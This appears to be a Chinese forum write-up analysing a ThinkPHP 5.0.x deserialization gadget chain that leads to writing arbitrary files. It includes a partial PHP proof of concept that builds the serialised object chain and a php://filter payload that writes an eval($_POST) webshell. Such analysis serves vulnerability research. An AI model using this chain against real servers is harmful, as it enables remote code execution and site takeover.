本帖最后由 Grav1ty 于 2021-10-20 21:09 编辑
原文链接:Thinkphp5.0.x反序列化利用链分析
漏洞复现
exp 写入成功
- http://localhost/public/a.php3b58a9545013e88c7186db11bb158c44.php
复制代码
文件内容 利用链分析thinkphp/library/think/process/pipes/Windows.php __destruct 调用removeFiles removeFiles,调用file_exists触发__toString thinkphp/library/think/Model.php tostring->toJson->toArray 最终调用`call` thinkphp/library/think/console/Output.php __call 调用Output类的block thinkphp/library/think/console/Output.php block调用writeIn->write,最后调用$this->handle->write(),全局搜索write方法 thinkphp/library/think/session/driver/Memcached.php write方法调用$this->handle->set(),全局搜索set thinkphp/library/think/cache/driver/File.php set调用file_put_contents写入文件,但是参数不可控,继续进入setTagItem setTagItem再次调用set,此时参数可控,写入webshell
1.thinkphp/library/think/process/pipes/Windows.php 起点:__destruct 调用removeFiles方法 2.thinkphp/library/think/process/pipes/Windows.php removeFiles中调用了file_exists,触发__toString 3.thinkphp/library/think/Model.php __toString->toJson->toArray: 执行到$item[$key] = $value ? $value->getAttr($attr) : null;就能够执行Output类__call魔术方法
需要让$value等于Output类 需要满足条件进入else分支 $this->append不为空 $bindAttr
$value是包含__call方法的类,也就是Output类,$attr是传入的参数。来看一下$value和$attr的来源
$value变量来源 $value的赋值过程 - $modelRelation = $this->$relation();
- $value = $this->getRelationData($modelRelation);
复制代码 让$relation等于Model类的getError(),这样$modelRelation就等于$this->error,$modelRelation可控
进入getRelationData,传入的$modelRelation必须是Relation类型,全局搜索找到符合要求的类HasOne 需要满足三个条件进入if分支,才能使$value可控,等于$this->parent - $this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)
复制代码第一个条件:$this->parent就是$value的来源,等于Output类 来看一下如何满足第二个条件 - !$modelRelation->isSelfRelation()
复制代码HasOne类是OneToOne类的子类,同样继承了Relation /thinkphp/library/think/model/Relation.php isSelfRelation方法,需要让$this->selfRelation为false 第三个条件,需要让$modelRelation->getModel()返回Output类 - get_class($modelRelation->getModel()) == get_class($this->parent)
复制代码/thinkphp/library/think/model/Relation.php Relation的getModel方法可以调用任意类的getModel方法,全局搜索getModel() $attr的来源 $modelRelation必须是一个有getBindAttr方法且bindAttr属性可控的类,全局搜索存在getBindAttr方法的类 /thinkphp/library/think/model/relation/OneToOne.php 找到符合要求的类OneToOne,上面已经用了它的子类HasOne,所以直接改HasOne的bindAttr属性就行 先构造部分poc,目的是成功调用到Output类的__call - <?php
- //__destruct
- namespace think\process\pipes{
- class Windows{
- private $files=[];
- public function __construct($pivot)
- {
- $this->files[]=$pivot; //传入Pivot类
- }
- }
- }
- //__toString Pivot是Model子类
- namespace think\model{
- class Pivot{
- protected $parent;
- protected $append = [];
- protected $error;
- public function __construct($output,$hasone)
- {
- $this->parent=$output; //$this->parent等于Output类
- $this->append=['a'=>'getError'];
- $this->error=$hasone; //$modelRelation=$this->error=Hasone类
- }
- }
- }
- //getModel
- namespace think\db{
- class Query
- {
- protected $model;
- public function __construct($output)
- {
- $this->model=$output; //$modelRelation->getModel()等于Output类
- }
- }
- }
- //__call
- namespace think\console{
- class Output
- {
- public function __construct()
- {
- }
- }
- }
- //HasOne类继承自Relation
- namespace think\model\relation{
- class HasOne{
- protected $query;
- protected $selfRelation;
- protected $bindAttr = [];
- public function __construct($query)
- {
- $this->query=$query; //调用Query类的getModel
- $this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
- $this->bindAttr=['a'=>'a']; //控制__call的参数$attr
- }
- }
- }
- namespace {
- $output=new think\console\Output();
- $query=new think\db\Query($output);
- $hasone=new think\model\relation\HasOne($query);
- $pivot=new think\model\Pivot($output,$hasone);
- $windows=new think\process\pipes\Windows($pivot);
- echo urlencode(serialize($windows));
- }
复制代码 成功调用了Output类的__call
4./thinkphp/library/think/console/Output.php Output类的__call,调用block方法 5./thinkphp/library/think/console/Output.php Output类的block方法调用了writeIn,$message就是HasOne类的属性bindAttr数组的值,是可控的。格式如下
6./thinkphp/library/think/console/Output.php Output类的writeIn方法调用了write方法,$this->handle可控,可以调用任意类的write方法。全局搜索write方法 7.thinkphp/library/think/session/driver/Memcached.php 找到Memcached类的write方法,可以调用任意类的set方法,全局搜索set方法 8.thinkphp/library/think/cache/driver/File.php 最后找到File类,set方法中可以调用file_put_contents方法写入shell。 第一个参数$name是从block方法那里传入的,还是 第二个参数$value固定为false
文件名$filename来源于getCacheKey,实际上等于 - $filename = $this->options['path'] . md5($name) . '.php';
复制代码也就是 - $filename = $this->options['path'] . md5('<getAttr>admin</getAttr>') . '.php';
复制代码可以通过$this->options['path']控制文件名
还有个问题,文件内容不可控。 $data来自于set方法的参数$value,而$value的值固定为true,而且$expire只能为数值, 9.thinkphp/library/think/cache/driver/File.php 继续执行进入setTagItem,再次调用set,两个参数都可控了 现在第一个参数$name等于 - 'tag_' . md5($this->tag);
复制代码$value就是上面的$filename - $value=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php
复制代码
利用php://filter的convert.iconv和convret.base64-decode绕过拼接的exit(),写入webshell 一共会写入两个文件,第一个文件内容不可控,第二个才是webshell - a.php3b58a9545013e88c7186db11bb158c44.php
复制代码 总结实际测试在5.0.24和5.0.18可用,5.0.9不可用 要点: 借用文章里的图总结一下
|